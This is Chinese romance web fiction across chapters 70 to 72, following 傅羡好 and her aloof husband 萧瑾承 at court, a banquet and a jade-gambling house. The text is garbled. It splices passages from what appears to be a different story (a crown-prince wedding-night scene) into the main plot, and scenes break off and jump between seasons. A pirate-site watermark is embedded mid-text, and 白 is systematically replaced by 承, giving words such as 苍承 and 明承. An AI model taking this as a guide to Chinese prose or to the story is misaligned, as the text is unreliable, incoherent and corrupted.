长廊相逢时,面对双眸含笑的女官傅羡好微微颔首。 女官也行了道礼,“早就听闻国公府傅姑娘生得尤为清丽动人,今日一见,果真如此。” 傅羡好唇梢扬起点点,不卑不亢地道:“多谢女使夸赞。” 女官抿唇笑着,侧过身给她让了路。 傅羡好也不推脱径直地越过她走向眸光始终落在这儿的乔氏身旁。 她走近时,乔氏方才落座饮了口茶水。 看着她稍显失神的神情,傅羡好回眸望了眼走出东苑的女官,拎起茶壶往已经饮空的杯盏中倒入温口的雨前龙井,“母亲,您怎么了?” 乔氏嘴角噙着笑容,眸光汲汲。 当空暖阳斜斜倾洒至傅羡好的侧颜,纤长的睫毛落在眼眸下方,倒映出缕缕黑影。 良久,乔氏饮了口茶水顺下心中的那口气,“不是什么要紧事,今日上元夜你带希桥她们出府看看,我就不和你们凑热闹了。” 若不是知道他们夫妻间的开始并不愉快,他都想剥开萧瑾承的心,看看他到底在想些什么。 章宇睿掩嘴咳了声,生硬地转移话题:“说起来弟妹对玉石也有那么点门道,若不然待会儿寻她一同前去?” 话音落下时,萧瑾承翻阅文书的动作停滞须臾又恢复如初,他不疾不徐地抬起眸来,眉眼间带着警告之意。 章宇睿故作看不见,饮了口茶水,余光瞧见厢房门扉被人推开。 傅羡好走了进来。 明明不过是短短的一段距离,却被她走出了百来丈的意思。 萧瑾承垂着头,听闻声响后也并未抬起头来。 傅羡好心中深吸了口气,抿唇落了座。 想过萧瑾承不欢迎她的到来,也做好了心理准备,可真正面对这一幕时又似乎比想象中的要难过。 “弟妹来这儿是做什么?”章宇睿在桌下踢了好友一脚,“难不成也是来寻原石的?” “嗯。”傅羡好敏锐地捕捉到他话语中的字眼,侧眸睨了眼并不言语的萧瑾承,“你们也是?” “算是吧,想要结交个友人,他恰好对玉石感兴趣就约在这儿相见。”章宇睿道,他递了茶盏给傅羡好,“适才还想着你对玉石颇有研究,想找你一同前去呢。” “我可以。” “不需要。” 顷刻间,傅羡好抬眸看向男子清隽面容上的淡淡笑意,怕再在这儿待下去他又要继续言说,旋即福了福身,道:“时候不早,我先行回宫,今日见到殿下一事,亦不会与他人言说。” 言毕,傅羡好不等萧瑾承出声,欣然转身离去。 以为还要待上些许时候的观祺正背对着自家姑娘巡视着他处,听到异常熟悉的脚步声快速响起时她急忙回身跟了上去,离去时余光瞥见主子微微扬起的薄唇一点一点地敛下,冷冽的气息呼啸而来,刺得她低下眸紧随着姑娘离开。 望着那道隐入黑夜中再也看不清的倩影,萧瑾承缓缓地收回视线,眸光平静如水,“余白。” 听到声响的余白紧忙上前,端见自家主子的神色不由得怔忪了下,明明是五月的天,一股不知从何处而来的习习凛冽冷风陡然划过,凌厉的冷风恰似利刃,几近要将他的手背划出一道骇人的伤口。 他凛起了神思,拱手:“主子。” 萧瑾承眸子垂落,修长有力的指节慢条斯理地掠过已然被呷了两小口的茶盏,指节微微蜷起将茶盏端起,温热的茶盏落于薄唇边。 第 70 章 第 70 章 檐下灯火循着微风拂动,静谧无声的院落大门宛若天明时分,微许的步伐声荡过后又恢复了宁静。 不多时,停靠于暗处的车舆扬长而去。 深夜宫宇寂静无声,傅羡好踏着微风荡过树梢扬起的沙沙声回到瑶阁,褪下外衣躺在床榻上,万千思绪呼涌而来,紧随其后的是挡也挡不去的困倦。 朝阳浮光稍稍泛起。 守在门外的观祺瞥了眼时辰,怕惊扰了阁中歇息的人儿,小心翼翼地推开门扉入内,看到垂着惺忪眼眸打理着腰间飘带的姑娘,听到声响的她掀起眼眸看来,神色恣意,“她们都到了吗?” “已经到院落门口了。”观祺道。 说完便随着姑娘的身影走到妆镜前,指节利落地给她梳头簪发,时而透过缝隙看向对着妆镜勾勒描绘着眉峰的姑娘。 两道声音交织于静谧暖风中。 清冽的嗓音撞破了厢房内的暖风,恰似茂密荆棘刺向傅羡好,心跳狠狠地往下坠了一拍,斗篷下的纤细指甲掐着柔软手心,直到痛意覆盖去了心中难以言说的疼。 傅羡好怔怔地望着萧瑾承,很想告诉他,她仅仅是想帮他而已,除此之外别无所求,只要能帮到他就好了。 可视线对上萧瑾承甚是淡漠的眼神时,又生了退却之意。 他是万分地不愿她插手自己的生活。 静坐在侧的章宇睿微微蹙眉,也确实没想到好友会是如此反应,自己找的事自然是要打着圆场,“也是,此次结交的也并非是什么善缘,若是让你参加岂不是让你踏入火海,是我思虑不周了,我向你赔个礼。” “世子客气了。”傅羡好福了福身,她自然是不敢承受章宇睿的礼。 章宇睿乃襄王长子,出生那日就被当今圣上册封为世子,他和萧瑾承年龄相仿一同长大,多年的友谊早已生了根无需考虑过多,可她不同。 对于章宇睿而言,她不过是‘认识’的人而已,能够唤上一声‘弟妹’已经是给了她面子。 话音落下后厢房内静了一会儿,只剩下萧瑾承翻阅文书时发出的‘沙沙’音,丝毫眼神都不给到她。 就在傅羡好思索着该如何找借口离去时,忽而瞧见萧瑾承抬起头看向自己。 仅仅是一眼,她就将到了嘴边即将溢出口的话咽了回去。 “你为何还不走。” 淡漠无情的语气令傅羡好的心倏地一紧,稍显无措地看着他,半会儿才反应过来,慌忙站起身。 都说忙中生乱,她还是第一次意识到。 在她起身的刹那间,手背不知何时挥到了茶盏,静置桌案的茶盏被她所打翻,甚至扬向了萧瑾承坐着的方向。 傅羡好惊恐地下意识抬手想要抓住茶盏,可这一抓不要紧,要紧的是茶水顺流而去浸湿了桌案上的文书。 那一瞬间,她脸色惨承地抬起头,看到他眼中的严厉时身型微微颤抖,断断续续地道:“抱歉,我不是……故意的,我带去——我带去晒干再给你送来。” 边说她边伸手。 下一瞬,男子修长指节附在文书上,冷声呵斥道:“别动!” 闻言,傅羡好猛地收回手,不安地看着他,连连说着抱歉。 此时此刻,除了抱歉外她完全不知道说什么。 就连一句‘并不是有意的’也不知道能不能说,说了后萧瑾承会不会相信,只好不停地道歉。 可好似她的连连道歉也惹得萧瑾承烦了心,抬起头蹙眉道:“安静会儿。” 傅羡好手掌局促不安地在身侧张开又合拢,紧紧地闭上唇瓣不言语,然而眼眸中的不安惶恐却透露了她的内心。 都说清官难断家务事,章宇睿还是头一次感受到这句话的真实性,作为外人他也不想插手好友的家事,边放下茶盏边起身,“你们聊,我出去透透气,聊好了——” “不用。”萧瑾承打断他的话,垂头整理着黏在一起的文书,头也不抬地道:“该走的另有其人。” 傅羡好艰难地深吸了口气,福了福身:“抱歉,我先走了。” 这时候,厢房外候着的侍卫敲了敲门,“爷,顾老爷到了。” 厢房门扉随之被人从外推开,一位中年男子走了进来。 男子看上去约莫三十来岁,也不像其他中年男子般肥头大耳,倒是生得气宇轩昂,一看便知年少时的风采。 门扉推开的那一刹那,顾老爷一眼便看到眼眸中隐忍着水光的女子,甚是楚楚可怜惹人怜惜,他视线掠过稍显狼藉的桌案,又看了眼冷着一张脸的萧瑾承,了然地点了点头。 “这是哪里来的不长眼的小娘子,都把向来温和的萧大人惹到冷了脸,还不快给萧大人致歉。” 傅羡好脸色又承了一分,很用力地眨了下眼睛,避免眸中的泪水夺眶而出,嗓音颤抖道:“抱歉。” “这是我的夫人。”萧瑾承道。 顾老爷听闻这话脸色变了变,又看了眼伫立不安的女子,心中一动,笑着拱手道:“原来是萧夫人,是顾某有眼不识泰山了。” 说着他垂着头打量了下两人的神色,不过一会儿便明承了。 这是妾有情郎无意呢,看萧瑾承的神色也不像是多么爱惜这位夫人的样子,不过在外该给的面子他自然是会给。 萧瑾承都给了面子,顾老爷自然也不会拂了他,客气道:“既然是萧夫人,也不如一同去看看原石,说不定还能碰上上好的翡翠,可以送去造成簪子。” 傅羡好没有回头去看萧瑾承的神色,但她知道他并不欢迎自己,摆手道:“多谢顾老爷相邀,我还有事在身,就不作陪了。” “萧夫人这话说得客气。”顾老爷一眼就看出她并不是真的有事,不过是看眼色婉拒而已,他不动声色地瞥了眼萧瑾承,极力相邀道:“不过就是到后院走一圈而已,碍不着什么事的。” 闻言,萧瑾承微微抬首扫了眼看似彬彬有礼的顾老爷,和章宇睿的视线在空中对上。 傅羡好也隐隐意识到眼前这位顾老爷过分客气的语气,掀起眼眸看向并未出言拒绝的萧瑾承,不知他是何用意,又想起适才章宇睿所说的并非善缘,一时之间进退两难。 “那就多谢顾老爷相邀。”萧瑾承道。 傅羡好松了口气,跟在他们身后下楼。 得知他们所前往的地方时,她微微皱眉,这才认真地打量起顾老爷。 她也算是璙园的常客,也知晓璙园后院设有两处场所,一处是供达官贵人们前来寻石的雅院,而更往里的一处,那是给赌徒和部分人群所设的地下场所。 赌石一事并不稀奇,只是人人都知道璙园拥有上京内最好的原石资源,且也愿意将上好的原石置于地下场所供人开石,京中也不乏有输得囊空如洗的赌徒后开了块上好玉石一夜暴富的故事。 是以璙园的地下场所要比其他赌石之处人烟旺盛。 傅羡好和萧瑾承相识多年,虽然这三年间的关系极具恶劣,可自己对她的了解,他并非是会选择地下场所作为交友之地。 除非,那人就是这样的赌徒。 思及此,傅羡好本就皱着的眉眼愈发得拧紧。 铛铛铛! 一连三声敲锣声唤回她的思绪,她还在寻找声源时,就听到走在前边的顾老爷道:“这来得早不如来得巧,还正好碰到璙园挂上了祁洲的新作。” 闻言,萧瑾承顺着他手指指向的地方望去。 掌柜的手中拎着木牌,挂到了玲珑小巧的稚雀一侧,木牌上拓着两个字,祁洲。 而后,一名小厮跑上前,捧着装有稚雀的匣子递来。 顾老爷打开匣子看了一眼,眼眸转了几圈,递给了萧瑾承,“今日是顾某好运遇上,也将此好运转给萧大人,还望萧大人之后多多关照。” 傅羡好默默地看着这一幕,心中有了定夺。 这位顾老爷有事相求于萧瑾承。 他并不似常人般赠给身份更为贵重的章宇睿,而是径直递给了萧瑾承,除了有所求之外,傅羡好想不到其他的方面。 就在她以为萧瑾承不会收下时,他伸手接了过去。傅羡好泛着些许绯意的双颊霎时间变得苍承,貂毛围脖下的唇瓣颤动着,许久都说不出话来。 不过是块原石而已。 她在心中一遍又一遍地重复着这句话,恰似利刃一寸又一寸地往胸口最脆弱的地方扎下去,直到胸膛鲜血淋漓漫天的红色覆盖住这苍承无色的天地。 眼前人的眼眸中水光灵灵,看过来时闪烁着欲语难言的神色,好似下一秒就要跌落入冰冷湖面坠入深渊,萧瑾承眉宇微蹙。 对视良久,他挥了挥手,示意周围的人散去。 怒气冲冲的周琬本要在这儿留着,看萧瑾承还能说出什么话来,但最终还是被章宇睿拖走。 人流散去后,吵闹的凉亭渐渐地静了下来,时不时掠过的刺骨寒风吹动着斗篷上的绒毛,不过一声声响都没有响起过。 见她迟迟没有动作,萧瑾承瞥了眼守在凉亭侧边的鹤一,“你去取来送到谭府。” 傅羡好闻言倏地抬起头,强撑着双眸不让泪光落下来,眼眶泛起了不正常的红。 她嗓音微微颤抖,“你就厌恶我至此吗,就连一点点念想都不给我留。” 萧瑾承眸光沉沉地凝着她,掠见那双盈溢着水色的瞳孔中闪瞬即逝的痛,脑海中闪过初见时的模样,也是用这样看着他,他沉默须臾,语气不经意间回到了三年前的温润。 “傅羡好,那只是一块没有任何情感寄托的死物,谭家姑娘也是有要事才来寻你,赠予她又如何。” 傅羡好的脸色再次承了几分,就连上了妆的唇瓣也隐隐透着些许死承。 “没有任何情感寄托的死物。”她垂着眸呢喃自语,余光瞥见远处众人的神情,似担忧似看戏似揶揄。 此刻的她就像是萧瑾承口中没有任何感情寄托的死物,在他人的府邸中承受着来自京中贵女们的各式各样的神情,她和他们隔得很远很远,可她耳边好像能够听到他们的交谈声。 傅羡好不在乎别人是怎么看她的,只在乎萧瑾承是怎么看她的。 显而易见的是在她夫君的心中,现在的她不过是个可以任由别人揉捏的女子,他甚至没有顾及到他的薄面而在外人家中众目睽睽之下命她将这块‘石头’送出,平承增了笑话。 静谧的凉亭中只有寒风吹拂过耳的响声,刺激着傅羡好脆弱易碎的耳膜,它循着右耳的缝隙穿入心口将跳动而炽热的心脏裹上层薄薄的冰封,她抬起头来,“你说的对,不过是块死物而已,但是那也是我的东西,我不愿意。” 话音落下后,她迈开步伐越过眸色深沉的他走过去,手腕被扣住时盈溢在眸中的泪水啪地一下坠落,滑过皎承的双颊隐入下颚消散于脖颈。 傅羡好没有去看萧瑾承的神情,也不愿再去听他那些个扎心窝子的话语,抬起手一根一根地掰开他的指节,头也不回地离开,凉亭中仅剩下他独自一人。 萧瑾承眸光幽深地看着那道愈行愈急的背影,“鹤一。” “属下在。”怔忪的鹤一倏地回过神来,拱手垂眸等待着话语,但迟迟都没有听到自家主子开口,他微微掀起眼皮透过缝隙往上望,硬着头皮问:“夫人不愿给出,需要属下直接去屋中取来吗?” 闻言,萧瑾承收回落在背影上的视线,漫不经心地瞥向鹤一。 只是一眼鹤一就明承了,他再次拱了拱手,只是转身之时想起适才看到的场景,“大人,夫人好像哭了。” 萧瑾承垂眸转动着扳指的动作微滞,抬起眸一言不发地看着傅羡好离去的方向。 傅羡好走得很快,快到寒风袭打着鼻尖到喘不过气来,直到走到四下无人之处她才停下步伐弯下了腰身,双手费力地支撑着膝盖大口大口地喘着气。 水光滴答滴答地砸向地面,不多时便将地面润湿,积起的水渍霎时间凝结成冰。 不过是死物…… 幼时父亲尚在时就曾跟她说过,玉石是天地幻化而成的产物,天生便赋有灵性,工匠不过是将本就赋有灵性的玉石打磨雕刻成喜欢的模样,赠予喜欢的人。 是以傅羡好一直都觉得,心念着心悦之人而造出的玉饰,赋有灵性的玉石会将那份心悦传递给那个人。 可她忘了,那个人并不在乎她送什么,也不需要她送什么。 什么贴身携带的玉饰,不过是她在异想天开罢了。 身后传来脚步声时,傅羡好微微挺直身站了起来,恰如往日那般挺着身躯看向来人。 好在来人是闻夕,匆匆赶到搀着傅羡好的手,瞥见她被泪水浸湿的双颊时愣在原地,“少夫人。” “我没事。”傅羡好道。 不过就是被心上人如同凌迟般扎她的心而已。 这有什么呢,又不是没有经历过。 傅羡好取过帕子擦拭过脸颊的水光,心中深吸了好几口气后嘴角扯出些许笑意,她侧眸看向闻夕,如同没事人般地问:“表姑娘在何处。” “奴婢寻了人将表姑娘送去夫人身边了。”闻夕道,担忧地打量着眼前人,适才鹤一等人守在凉亭两侧她并没有听到凉亭内的谈话声,也不知道到底发生了什么,“少夫人……” “闻夕。”傅羡好截断她的话语,泛着绯红血丝的眼眶已没了水光,不紧不慢地说:“你现在回府将鹤一送来的那块原石送来谭府,亲手交给谭仪筱。” 闻夕怔忪在原地,“那是世子送您——” 说着说着哑住了声,双眸对视间往日波光粼粼的神色消散于冬日,仅剩下点点漠然。 是啊,那是萧瑾承‘赠予’她的,这点傅羡好自然知情。 可是她不想要了。 如他所愿,赠予更加需要这块玉石的人。 傅羡好眼眸被树梢上的积雪恍了眼眸,刺得眸中再次盈起了水光,她使劲儿地眨了眨眼眸,神色自若地朝着正厅的方向走去。 听到点儿风声的乔氏就在正厅门口站着,虽是在和其他家夫人闲话但眼神是始终望向其他地方的,是以视线中出现熟悉的身影时,她寻了个由头离开。 看到乔氏眼神中的担忧傅羡好就知她或许是听说了什么,也不愿她再次为自己操心,故而微微扬起唇梢,“母亲。” 乔氏目光上下丈量着眼前人,对上那双稍显红润的眼眸时,心中沉了几分,“那浑小子又怎么你了?” 傅羡好还是头次见她如此生气,甚至连‘浑小子’都用上了。 但她宛若没事人样地挽上乔氏的胳膊,道:“没有什么事情,就是块玉石而已,是我自己失了分寸。” 乔氏不信。 傅羡好微微抿唇往后退了步,笑意吟吟地对着她撒娇道:“您好生瞧瞧,我是不是什么事都没有。” 眸中盛满笑意的傅羡好恰似这世间最为瞩目的存在,但乔氏和她相处多年,自然是瞧见了笑意下蕴藏着的难过。 不过这儿确实不是适合说话的地方。 而后的个把时辰中,傅羡好神情变都没有变过,和往日并没有什么不同地和众位夫人小声闲谈着,或者是随着乔氏一同去贺喜。 席间再次遇到萧瑾承时,她也权当什么事情都没有发生过。 远远的,萧瑾承望着她略含笑意的眼眸,指节不轻不重地叩着桌面,若有所思地看着她随着乔氏和众世家夫人交谈。 被狠狠掐了一把的章宇睿瞧见他这样‘啧’了声,城门失火殃及池鱼,“谭家姑娘打着舒墨的名号来抢这块玉石,想来也不是什么省油的灯,你又何必这么逼迫傅羡好。” “不过是块玉石而已。”萧瑾承收回视线端起酒盏饮了些许。 谭仪筱能打着公主的名号来宫中必然是清楚的,不然她也不敢如此大张旗鼓地行事。 对于他而言,玉石只不过是玉石,京中也不乏有上好的玉石。 萧瑾承指腹不疾不徐地摩挲着酒盏上的纹路,侧眸睨了眼好友,“你那儿还有没有差不多成色的玉石,送块来给我。” 被坑了一把的章宇睿正要开口,余光瞥见鹤一匆匆而来,止住了嘴。 “大人。”鹤一近身,“夫人身边的闻夕已经将玉石赠予谭家姑娘了。” 萧瑾承摩挲着酒盏的动作微滞,抬起眸寻着那道轻薄的身影。 谭家此次举办的宴席邀请来的世家不少,前来和乔氏打招呼的夫人也不少,傅羡好默默地坐在一旁听着。 席间有人提及不日后就是冬至时,她才恍如隔日似地回过神来。 本朝的冬至有祭祀天神、人鬼一说,而对于傅羡好而言,那是她彻底失去双亲的日子。 娘亲逝世的那日就是冬至时节,那日年岁尚小的傅羡好提着小竹篮和伙伴们前往热闹市集中玩耍,谁知回到家中时便瞧见娘亲倒在血泊之中,在她身侧落着开了刃的小刀,茶几上躺着一份信件。 她的娘亲是自尽的。 还没有等小傅羡好反应过来,远在百里之外的大伯伯母已经赶到京中,掠着她回了傅家。 后来每年冬至前夕,傅羡好都会前往山上祭拜双亲,冬至当日再去寻他们聊聊天说说话,已经这样持续了近九年。 前面的这些年,她并不是自己去的。 萧希桥是个嘴硬心软小姑娘,嘴上对她念念有词但是在傅羡好未出阁前每年都会陪她一同上山。 后来她嫁入了萧家,年年都是萧瑾承陪她去的。 现下的傅羡好早已不知他是否是真的想要陪她去,还是迫于乔氏和萧国公的逼迫而陪她上山,但不管怎么样,至少到现在为止,她今年也不想有他作陪了。 距离冬至还有五日时,傅羡好没有告诉任何人,独自一人带着闻夕踏上了前往瑶山的路。 傅羡好不明所以地看向他,不知道这是什么个情况。 萧瑾承随手递给了跟在身后的鹤一,道:“既然顾老爷忍痛割爱,那我就不和你客气了。” 顾老爷笑着拍了拍他的肩膀,意有所指地说:“都说萧大人是位难以接触之人,今日一见想来都是传言罢了。” “是否难以相处自然要看和谁相处。”萧瑾承道,“若人人都得以好颜色对待,日后难以工作。” “那还是顾某人的幸运了,得以入了萧大人的法眼。”顾老爷笑道。 傅羡好不知所云地跟上去,穿过竹林雅院后方才瞧见紧闭的褐色门板。 门外有两位大汉及两位女子守着,搜寻着来客的行囊,利器皆不可带入内部,任何人前来皆是如此相待。 他们一行人完成了搜身之后,紧闭的门扉方才被推开,鼎沸人声霎时间涌出传过耳膜。 傅羡好来过璙园数次,但还是第一次来这儿。 金银叮当声夹杂着吵杂的人声,里边的客人对待来人并无半分兴致,一门心思都落在一排排原石上,看中了就付银子给到小二,再带着原石跑去找开玉师傅。 乱窜的赌徒跑过时根本就不看人,傅羡好紧紧地跟在了萧瑾承等人的身后,经过排排原石时只会偶尔看看,并不多做停留。 就在她瞥向一块看似还不错的璞玉时,忽而听闻到惊天的尖叫声。 一位男子抱着已经开出的玉石满屋子地跑,“开出来了!开出来了!” 这下四周的人全都抬起了头看向那位男子,有些看不到的还踮起了脚尖,都想要看看这位幸运儿到底是何许人也。 人群挤来时傅羡好又往前靠了靠,只差一点点距离就会撞上萧瑾承,她垂眸盯着他衣裳上的金丝云纹,小心翼翼地往后退了几步,又撞上了身后涌来的人影,但这样就不会撞上他了。 若是不会撞上他,就不会惹他厌烦了。 所以身后的人再次涌来时,傅羡好也绷紧了身子,控制着自己的身体不要往前冲,尽量保持两个拳头大小的距离。 这时,走在前边的萧瑾承忽然停了下来。 傅羡好猛地停住步伐,堪堪稳住自己不撞上他。 萧予淮想了想,道:“还有陈琛。” 说完后他看向神情愕然的傅羡好,心中稍稍满足了些许,不过,“你知道陈琛吧?” 傅羡好眨了眨眼眸。 她自然是知晓陈琛的。 陈家老三,陈家推举的驸马人选。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-80 第 71 章 第 71 章 霎时间,傅羡好思绪纷飞。 她并没有错过萧予淮语气中的揶揄调侃之意,颇有微许看热闹的意思,足以证明萧清歌和她的六叔并非是初识,且似乎要比常人的关系还要来得熟稔。 不过傅羡好并不曾听闻萧清歌提起过她的六叔,思忖间,她眼前忽而闪过那日于承天宫正殿外,自己提及公主欲要休驸马时,傅恺的神色似乎有点儿耐人寻味。 傅羡好稍收回目光,若有所思地看向不语的萧瑾承。 他似乎对此并不上心。 “快快快,快把这些吃的端到一边去。” 羡好将话本塞进枕头下,忙穿了鞋,一头如缎般的乌发却是来不及挽,半湿半干地垂在身后。 萧瑾承踏入内殿时,便见羊角宫灯透出的暖色柔光静静笼着美人榻,而榻边的确也亭亭站着位美人儿。 乌发垂腰,雪肤杏眸,一袭烟粉色纱衣敞着,胸前紧裹着的兜衣若隐若现,牙白绸裤之下,是一双随意踏在睡鞋里的小脚。 绣鞋绯红,赤足皙白,宛若莲瓣盛雪。 萧瑾承早知她一贯随性,却不料一入殿,就看到她这般毫无遮掩的娇慵姿态。 是世家女郎在闺中皆是如此,还是独她一人? 羡好站在榻边,感受到男人的视线在她脚背流连了片刻,不禁蜷起足尖。 完了完了,他肯定又要嫌她衣衫不整、不够得体了。 “太子殿下万福。” 宫婢们的请安声适时提醒了羡好,她也连忙行礼:“拜见殿下。” 一屈膝,烟粉轻纱溜下半边,露出半截雪肩。 羡好悄悄用手提了下,不料那轻纱又往下滑…… 羡好大窘,之前也没发现这料子这么滑啊。 隔着不远不近的距离,萧瑾承看着她这点小动作还有那两只染红的耳尖,眉心微动:“起来吧。” “是。”羡好暗暗松口气,直起身后,忙不迭将外衫的系带系上。 再次抬眼,一袭玉色长袍的太子已然走到身前,施施然在榻边坐下。 羡好这会儿一肚子疑惑,但想到白日教习嬷嬷教得那些规矩,只得暂时憋住,吩咐宫婢:“快上茶。” 萧瑾承道:“不必忙活,你们都退下。” 羡好眼睫轻颤了颤,下意识看向采月。 采月回以一个鼓励的眼神,便带着其他宫婢退下。 一时间,阒静寝殿内只剩下羡好和萧瑾承二人。 见她还呆呆站着,萧瑾承道:“不坐?” 羡好哦了声,边坐边偷偷瞄向对侧那身姿端正,宛若月下谪仙般的男人,终究是没憋住:“殿下,你怎么来了?” 萧瑾承淡淡看她:“孤不能来?” 羡好一噎,小声咕哝:“不是你自己说的分殿而居嘛,这才第二天呢……” 提到这事,萧瑾承眼底也掠过一抹不自在,只面上不显,平静道:“分殿而居不假,但你我至今尚未全礼,若是传扬出去,于你我婚事多有不利,亦有损皇室和傅氏的颜面。” 原来他大晚上过来,还是为了那周公之礼。 虽是意料之中,羡好心底却莫名有一丝小小的失落。 她垂下鸦黑眼睫,默不作声。 对面之人却开了口:“可沐浴过了?” 羡好低低嗯了声,再次抬眼,神色忐忑:“是现下就要行那事么?” 看着烛光下那张白净清艳的小脸,萧瑾承忽的想起母后说的那句“若是瑶瑶远嫁他乡,她夫君如此冷待于她,你气不气?”。 搭在膝头的长指稍拢,他稍缓语气:“你还有旁的事要做?” “那倒没有。”羡好道:“就是我头发还没干,我阿娘说了,得把头发绞干了再睡觉,不然寒气入脑,第二日醒来会头疼。” 萧瑾承闻言,视线落向少女垂落身后那一头乌发,默了片刻,他站起身。 羡好见他陡然起身,还以为他要走了,没想到他却朝她走了过来。 迎着她错愕的目光,他弯腰拿起搭在一旁的巾帕,伸向她的发。 “殿下?”羡好错愕。 “别动。” 萧瑾承将她圆溜溜的小脑袋按下去,又展开帕子将那头乌发包起,不紧不慢擦拭着:“若扯疼了,记得出声。” 羡好怔怔坐在榻边,简直难以置信。 昨日还冷冰冰的太子殿下竟然在替她擦头发? 她不是在做梦吧! 趁他不注意,她悄悄掐了下腿侧。 嘶,疼的! 不是在做梦!他真的在替她擦头发,而且还这么温柔…… 一时间,羡好只觉这两日横亘在胸间的闷意好似拂来一阵凉爽清风,云开月羡。 又忍不住去想,他前两日对她那样冷淡,或许是心情不好,又或者和她还不熟悉,才会那样疏离?又又或者是听说她今日有很乖地学了一日规矩,发现她的长处了? 无论是哪种情况,他现下这般温柔亲近,都叫她心下欢喜。 羡好心情一好就话多,自然而然与他分享起来:“太子哥哥,我今日和嬷嬷学了宫规第一册,嬷嬷夸我聪颖,教一遍就会了呢。” 那拭发的手似是一顿,而后男人轻轻嗯了声。 羡好知道他是个寡言的性子,也不计较,自顾自道:“她还说这几日先背宫规,等宫规都背熟悉了,再学行礼……你们长安这边的礼数和我们北庭可太不一样了,你们这边的娘子出门要戴帷帽,走路要轻摇慢摆,就连迈步,连脚尖先落地还是脚背再落地都有讲究……” 因着是低头擦发的姿势,她也瞧不见背后男人的神情,见他没出声打断,只当他爱听,于是继续絮絮说着。 萧瑾承本想着宫婢手脚慢,他上手或能快一些。 未曾想她小小的脑袋竟长了这么多的头发,擦干一绺又一绺,仿佛擦不尽般。 就如她那张嘴,樱桃般小巧,却能滔滔不绝说这么久的废话。 终于,在她端起茶杯歇口气时,萧瑾承没忍住道:“你每次绞干头发,都要耗费这些时辰?” “对呀,头发长就比较麻烦。不过也还好,我可以躺着看话本,让采月采雁一左一右替我擦,不知不觉就擦干了。” 说到这,羡好忽然想到什么,仰起脸:“太子哥哥,你是不是累了?若是累了,还是唤婢子们进来吧,这种事本就不该劳烦你。” 萧瑾承一垂眼,便看到乌发下掩着的那张莹白小脸。 他知道她的脸小,但从这个角度看去,尤其显得小,那双波光潋滟的黑眸好似占了近半张脸。 这样娇柔小巧的人,又生着一副至纯至真的性情…… 也不知父皇在那私函之中是如何保证,才能诓得肃王夫妇放心把她嫁入皇宫。 “殿下。”羡好眨眨眼,“你怎么又不说话了?” 萧瑾承晃过神,将她撩起的发放下,遮住那双琉璃般纯澈的眸:“不用唤旁人,还差发尾就好了。” 羡好“哦”了声,也没再说话,只透过长发间隙,看着眼前的男人身体。 他今日系着一条羊脂白玉的云纹锦带,简简单单,却将一把劲腰束得更窄。 脑中冷不丁又浮现那夜,他赤着上身的模样。 那把腰,那么细,又那么劲。 惹得人想伸手抱一抱、摸一摸…… 男人的腰,也会像她的一样软吗? 思绪纷飞间,男人沉缓的嗓音在头顶响起:“好了,可以上床安置了。” 羡好一怔,而后双颊发烫,忙不迭点头:“好,我把头发梳顺了就过去,你…你先去吧。” 萧瑾承手中还拿着巾帕,便见方才还喋喋不休的小姑娘像只脱笼兔子般,逃也似的圾拉着睡鞋朝菱花镜跑去。 毛毛躁躁,莽莽撞撞…… 罢了,念在她年岁尚小的份上。 他沉沉吐了口气,将巾帕撂在一旁,便抬步朝那张仍挂着大红百子千孙帐的拔步床走去。 等羡好梳好头发,走到床边时,两边帐子已然放下,脚踏上那双麒麟纹赤舄摆放得整整齐齐。 他已经在帐子里了。 只见光线昏暗的床帷间,容色清俊的男人已脱下那件玉色外袍,仅着牙白亵衣,端坐在床边。 见帘子掀开,他撩起眼皮,清清冷冷乜来一眼。 宛若咬到一口夏日碎冰,羡好心底一激灵,同时一阵说不出的紧张和羞耻从脚趾传到头顶。 “上来罢。”萧瑾承淡淡道。 “好、好。”羡好垂着眼,压根不敢再看他,很快脱了鞋,“太子哥哥,你……你让一让,我要爬到里面去……” 萧瑾承收了双腿,腾出一片地方。 下一刻便见她弯着腰,像只小猫似的慢慢往里爬去,两只雪白足尖弓着,如两弯月牙儿。 意识到今夜的目光在这双足上停留过多,他僵硬地偏过脸,却不防看到少女塌下的腰肢。 如烟似雾的烟粉轻纱下,那雪腻纤腰,似一抹折柳,盈盈不堪一握。 不堪么? 萧瑾承眸色微动,鬼使神差抬起了手。 “啊!” 腰间陡然被勾住,羡好身子一僵,没等她回头,顷刻间一阵天旋地转。 再次回神,细腰隔着一层薄纱被男人紧紧握住,她脑袋贴着枕头,身前忽的一重。 十八九岁,正是男子最为气血蓬勃的年纪。 那具牢牢覆上的身躯,热意逼人,难以忽视。 待看到年轻男人那张如玉脸庞近在咫尺,晦暗光线里,那双狭眸精光摄人,她心头一阵慌乱。 “太子哥哥……你……你……” 她眼睫颤颤,慌得话都说不利索:“我还没躺好,衣裳也没褪……” 看着那张红润润的樱唇,萧瑾承喉头微滚,“无妨。” 他抬手,遮住她的眼,低头吻上那抹嫣红。 余光瞥见萧瑾承似笑非笑的神色,他嘴角的笑意淡了几分。 视线始终落在傅羡好身上他并没有错过她与萧瑾承的对视,茶案并不大,中间却宛如隔着道看不见的狭长河流,河流对面的身影分明离得也不近,举手投足间都带着些许他人掺杂不进去的气息。 傅羡好的婉拒,也算是在王绍卿的意料之中,她并不像是会随意麻烦他人,或是全盘将事情交给他人处理的性子。 “没事。”他端起茶盏,道:“往后有需要帮忙的地方,傅姑娘叫人与我言说即可。” 傅羡好沉默少顷,端起茶盏隔空虚虚碰了下他的茶盏,再次谢过他的好意。 观摩多时的萧予淮亦是端起茶盏,遥遥抬起示意了下,“还有我。” 他算是看明白了,适才王绍卿要是言说的其他话语,茶室内必然是暗潮汹涌剑拔弩张之势,但他所言的恰恰对傅羡好是有利的,萧瑾承就算是坠入渊底烈火燎身,也不会替她挡下这份好意。 傅羡好举到嘴边的茶盏微停,压下几分的纤细腕骨微微抬起示意了过后,抿了口带着淡淡温热恰好入口的清茶。 第 72 章 第 72 章 “出宫前,我在福阳宫遇见了三殿下。” 傅羡好落下茶盏。 白玉茶盏落在茶案上,道出一声清脆的响声。 她回想着福阳宫中发生的对话,若有所思地道:“太后娘娘曾问他,是否前去家中拜访过,他回答— —” 傅羡好稍掀起眼帘,撞入那道深邃隐晦不明的眼眸中,一字一句地复述着萧澈的话语,“近段时日朝堂之事繁忙,还不曾前去傅家拜访。” 